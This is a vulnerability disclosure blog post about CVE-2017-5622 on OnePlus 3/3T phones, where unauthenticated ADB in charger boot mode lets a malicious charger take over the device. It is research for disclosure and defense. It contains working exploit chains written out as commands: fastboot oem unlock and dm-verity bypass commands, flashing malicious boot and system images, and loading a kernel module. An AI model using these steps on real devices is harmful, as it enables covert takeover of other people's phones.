<--

Owning OnePlus 3/3T with a Malicious Charger: The Last Piece of the Puzzle

By Roee Hay (@roeehay)
March 26, 2017
* *

Last month we published CVE-2017-5626 (patched in OxygenOS 4.0.2), a vulnerability which allowed attackers to effectively unlock a OnePlus 3/3T device (without a factory reset). Combining this with our also discovered CVE-2017-5624 (patched in OxygenOS 4.0.3) enabled a powerful attack against locked devices – persistent highly privileged code execution without any warning to the user and with access to user’s data (after the victim enters his credentials). One caveat from the attacker’s perspective, however, is that it either required physical or an authorized-ADB access to the device.

In this blog post we describe a new critical vulnerability CVE-2017-5622 in OnePlus 3/3T (OxygenOS 4.0.2 and below), which relaxes the attack prerequisites. Combining it with CVE-2017-5626 allows a malicious charger to own your device if it’s hooked-up while being powered off (the charger may also just wait until the battery is drained). Adding CVE-2017-5624 to the stack of exploited vulnerabilities will also help the attacker to hide the fact that he modified the device’s system partition.

We had responsibly reported CVE-2017-5622 to OnePlus Security that later fixed it in OxygenOS 4.0.3, released last month. We would like to thank OnePlus Security for the efficient manner in which they handled this critical security issue.

Demos

First, before we dive into the technical details, here is a couple of video demonstrations of our PoCs.

The first video presents how the ‘charger’ can exploit CVE-2017-5622 & CVE-2017-5626 for gaining a root shell, putting SELinux in permissive mode, and even executing kernel code:

The second video shows how the ‘charger’ exploits CVE-2017-5622, CVE-2017-5624 & CVE-2017-5626 for replacing the system partition in order to install a privileged app. Please note that once the replacement is complete, the victim has no indication that the device has been tampered with:

Charger Boot Mode ADB Access (CVE-2017-5622)

When one connects a powered off OnePlus 3/3T device to a charger, the bootloader will load the platform with the charger boot mode (in other words: ro.bootmode = charger). The platform of course MUST NOT enable any sensitive USB interfaces because otherwise it could be attacked by malicious chargers, an attack also-known-as ‘Juice-jacking’.

Much to our surprise, when we first connected our powered off OnePlus 3/3T devices, we noticed that we had ADB access:

> adb shell
android:/ $ id
uid=2000(shell) gid=2000(shell) groups=2000(shell),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc) context=u:r:shell:s0
android:/ $ getprop ro.bootmode
charger
android:/ $ getprop ro.boot.mode
charger
android:/ $ getprop  | grep -i oxygen
[ro.oxygen.version]: [4.0.2]
android:/ $

Since this does not (and should not!) normally happen when you connect a powered off Android device to a charger, we were quite puzzled. We had two immediate questions in mind:

Question 1: Why is ADB running?

The answer to this question lies within the Android boot process, during which init executes several scripts under the boot partition. By running ps, it can be seen that init is the parent of adbd:

android:/ $ ps -x | grep adb
shell     444   1     12324  564   poll_sched 0000000000 S /sbin/adbd (u:2, s:10)
android:/ $ ps -x  |grep init
root      1     0     15828  2496  SyS_epoll_ 0000000000 S /init (u:6, s:102)

Thus some init script instruction starts adbd when the platform runs in the charger boot mode. Taking a look at init.qcom.usb.rc reveals the following:

on charger
    [...]
    mkdir /dev/usb-ffs/adb 0770 shell shell
    mount functionfs adb /dev/usb-ffs/adb uid=2000,gid=2000
    write /sys/class/android_usb/android0/f_ffs/aliases adb
    setprop persist.sys.usb.config adb
    setprop sys.usb.configfs 0
    setprop sys.usb.config adb
    [...]

The on charger event is triggered if ro.bootmode == charger, as can be seen from Android 7.1.1’s init.cpp:

[...]
std::string bootmode = property_get("ro.bootmode");
if (bootmode == 'charger') {
    am.QueueEventTrigger('charger');
} else {
    am.QueueEventTrigger("late-init");
}
[...]

Therefore, the sys.usb.config property changes to adb, which then instructs init to run adbd, under init.usb.rc:

[...]
on property:sys.usb.config=adb && property:sys.usb.configfs=0
    write /sys/class/android_usb/android0/enable 0
    write /sys/class/android_usb/android0/idVendor 2A70 #VENDOR_EDIT [email protected], 2016/09/21, modify from 18d1 to 2A70
    write /sys/class/android_usb/android0/idProduct 4EE7
    write /sys/class/android_usb/android0/functions ${sys.usb.config}
    write /sys/class/android_usb/android0/enable 1
    start adbd
    setprop sys.usb.state ${sys.usb.config}
[...]

Question 2: Where is the ADB Authorization?

In order to protect against malicious USB ports (e.g. malicious chargers) targeting devices with adbd enabled, Android has had ADB authorization for quite some time (since Jelly-bean) – any attempt to gain an ADB session with an unauthorized device is now blocked.

So what’s different in OnePlus 3/3T? First, let’s take a peek at the AOSP implementation of adbd. The adbd_main routine reveals that there is some global flag, auth_required, that controls the ADB authorization:

int adbd_main(int server_port) {
[...]
    if (ALLOW_ADBD_NO_AUTH && property_get_bool("ro.adb.secure", 0) == 0) {
        auth_required = false;
    }
[...]

This flag is then used by the handle_new_connection routine:

static void handle_new_connection(atransport* t, apacket* p) {
[...]
    if (!auth_required) {
        handle_online(t);
        send_connect(t);
    } else {
        send_auth_request(t);
    }
[...]
}

We can thus deduce that if OxygenOS used the stock adbd, then ro.adb.secure would be 0, however:

android:/ $ getprop ro.adb.secure
1
android:/ $

Therefore, OxygenOS of OnePlus 3/3T contains a customized adbd! Since we don’t have the sources, we need to take a look at the binary. Decompiling it with IDA shows:

__int64 sub_400994()
{
[...]
  if ( !(unsigned __int8)sub_440798("ro.adb.secure", 0LL) )
    auth_required_50E088 = 0;
  getprop("ro.wandrfmode", &v95, &byte_4D735C);
  if ( !(unsigned int)strcmp(&v95, &a0_1) || !(unsigned int)strcmp(&v95, &a1_1) || !(unsigned int)strcmp(&v95, &a2) )
    auth_required_50E088 = 0;
  getprop("ro.boot.mode", &v94, &byte_4D735C);
  if ( !(unsigned int)strcmp(&v94, 'charger') )
    auth_required_50E088 = 0;
[...]
}

We can clearly see that OnePlus has customized the AOSP adbd s.t. auth_required = 0 when the platform is started in the charger bootmode. (Bonus points: ro.wandrfmode relates to CVE-2017-5623.)

Exploitation

So what can we do with ADB access? First, we should note that although we can gain a shell, we do not have access to user data since the partition is both unmounted and encrypted. What we can do, however, is simply reboot into the fastboot mode by issuing reboot bootloader, and then replace the boot and/or system partitions by exploiting CVE-2017-5626! In order to remove any warning about the system partition modification, we may also exploit CVE-2017-5624. It should be noted that if the device’s bootloader happens to be unlocked, then the charger does not even need CVE-2017-5626.

As a reminder, CVE-2017-5626 (fastboot oem 4F500301) allowed one with fastboot access to effectively unlock the device, disregarding OEM Unlocking, without user confirmation and without erasure of user data (which normally occurs after lock-state changes). Moreover, the device still reports it’s locked after running this command. Exploiting this vulnerability alone allows for kernel code execution albeit with a 5 seconds warning message. CVE-2017-5624 allowed the attacker, again with fastboot access, to disable dm-verity, a feature which protects against tampering with the system partition, for example.

PoC 1: Charger Gains a root shell & Kernel Code Execution (CVE-2017-5622/6)

The attack begins when the victim connects a powered off device to the ‘charger’, which gains an ADB session CVE-2017-5622, and reboots the device into fastboot:

> adb shell
android:/ $ id
uid=2000(shell) gid=2000(shell) groups=2000(shell),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc) context=u:r:shell:s0
android:/ $ reboot bootloader

> fastboot devices
cb010b5a        fastboot

By exploiting CVE-2017-5626 the ‘charger’ replaces the boot image s.t. adbd runs as root and SELinux is in permissive mode (see the previous blog post):

> fastboot flash boot evilboot.img
target reported max download size of 440401920 bytes
sending 'boot' (14836 KB)...
OKAY [  0.335s]
writing 'boot'...
FAILED (remote: Partition flashing is not allowed)
finished. total time: 0.358s

> fastboot oem 4F500301
...
OKAY [  0.020s]
finished. total time: 0.021s

> fastboot flash boot  evilboot.img
target reported max download size of 440401920 bytes
sending 'boot' (14836 KB)...
OKAY [  0.342s]
writing 'boot'...
OKAY [  0.135s]
finished. total time: 0.480s

That gives the charger a root shell, even before the user enters his credentials (but without access to user data!):

OnePlus3:/ # id
uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc) context=u:r:su:s0

OnePlus3:/ # getenforce
Permissive

The OnePlus 3/3T kernel is compiled with LKM enabled, so running kernel code does not even require patching / recompiling the kernel. So I created a tiny kernel module:

#include <linux/module.h>
#include <linux/kdb.h>
int init_module(void)
{
    printk(KERN_ALERT "Hello From Evil LKM\n");
    return 1;
}

The charger can then load it into the kernel:

OnePlus3:/data/local/tmp # insmod ./evil.ko
OnePlus3:/data/local/tmp # dmesg | grep "Evil LKM"
[19700121_21:09:58.970409]@3 Hello From Evil LKM

PoC 2: Charger Replaces the system Partition (CVE-2017-5622/4/6)

The vulnerabilities can be combined together for code execution in privileged SELinux domains, without any warning to the user and with access to original user data. In order to demonstrate this, I’ve modified the system partition, adding a privileged app. This can be done by placing an APK under /system/priv-app/<APK_DIR> which will eventually cause it to be added to the priv_app domain. (Don’t foger to chcon your APK and its containing directory!)

Again, the attack begins when the victim connects a powered off device to the ‘charger’, which gains an ADB session CVE-2017-5622, and reboots the device into fastboot:

> adb shell
android:/ $ id
uid=2000(shell) gid=2000(shell) groups=2000(shell),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc) context=u:r:shell:s0
android:/ $ reboot bootloader

> fastboot devices
cb010b5a        fastboot

By exploiting CVE-2017-5626 the ‘charger’ can replace the system partition with a malicious one:

> fastboot flash system evilsystem.img
target reported max download size of 440401920 bytes
erasing 'system'...
FAILED (remote: Partition erase is not allowed)
finished. total time: 0.014s

> fastboot oem 4F500301
OKAY
[  0.020s] finished. total time: 0.021s

> fastboot flash system evilsystem.img
target reported max download size of 440401920 bytes erasing 'system'...
OKAY [  0.010s]
...
sending sparse 'system' 7/7 (268486 KB)...
OKAY [  6.748s]
writing 'system' 7/7...
OKAY [  3.291s]
finished. total time: 122.675s

By exploiting CVE-2017-5624 the ‘charger’ can disable dm-verity:

> fastboot oem disable_dm_verity
...
OKAY

[  0.034s] finished. total time: 0.036s

Indeed the app loads with the priv_app context:

1|OnePlus3:/ $ getprop | grep dm_verity
[ro.boot.enable_dm_verity]: [0]
OnePlus3:/ $ ps -Z | grep evilapp
u:r:priv_app:s0:c512,c768      u0_a16    4764  2200  1716004 74600 SyS_epoll_ 0000000000 S alephresearch.evilapp

Patch

OnePlus has fixed the vulnerability by simply removing the {persist.}sys.usb.config related lines under the on charger event:

on charger
    #yfb add  to salve binder error log in poweroff charge
    setrlimit 13 40 40
    setprop sys.usb.config mass_storage
    mkdir /dev/usb-ffs 0770 shell shell
    mkdir /dev/usb-ffs/adb 0770 shell shell
    mount functionfs adb /dev/usb-ffs/adb uid=2000,gid=2000
    write /sys/class/android_usb/android0/f_ffs/aliases adb
    #14(0xe) means reject cpu1 cpu2 cpu3online
    write /sys/module/msm_thermal/core_control/cpus_offlined 14
    #add by [email protected] 2015/12/22, improve the performance of charging
    write /sys/devices/system/cpu/cpu0/cpufreq/scaling_governor powersave
    write /sys/devices/system/cpu/cpu1/online 0
    write /sys/devices/system/cpu/cpu2/online 0
    write /sys/devices/system/cpu/cpu3/online 0
    #yfb add  to salve binder error log in poweroff charge
    start srvmag_charger

OnePlus 2

Last, OnePlus 2 also had the {persist}.sys.usb.config property set to adb under the on charger event of init.qcom.usb.rc:

on charger
    mkdir /dev/usb-ffs 0770 shell shell
    mkdir /dev/usb-ffs/adb 0770 shell shell
    mount functionfs adb /dev/usb-ffs/adb uid=2000,gid=2000
    write /sys/class/android_usb/android0/f_ffs/aliases adb
    setprop persist.sys.usb.config adb
[...]

And also under init.rc:

on charger
    mount ext4 /dev/block/bootdevice/by-name/system /system ro
    setprop sys.usb.configfs 0
    load_system_props
    class_start charger
    setprop sys.usb.config adb

Despite that, when we hooked-up our OnePlus 2 device, we didn’t manage to obtain an adb shell, although the USB interface was up & running:

> adb shell
error: device unauthorized.
This adb server's $ADB_VENDOR_KEYS is not set
Try 'adb kill-server' if that seems wrong.
Otherwise check for a confirmation dialog on your device.

> adb devices
List of devices attached
6b3ef4d5        unauthorized

Thus, OnePlus 2 is not vulnerable – in contrast to the OnePlus 3/3T case, the OnePlus 2 OxygenOS image had the ADB authorization left intact. Disassembling its adbd binary shows that it indeed does not have the ro.boot.mode auth_required bypass.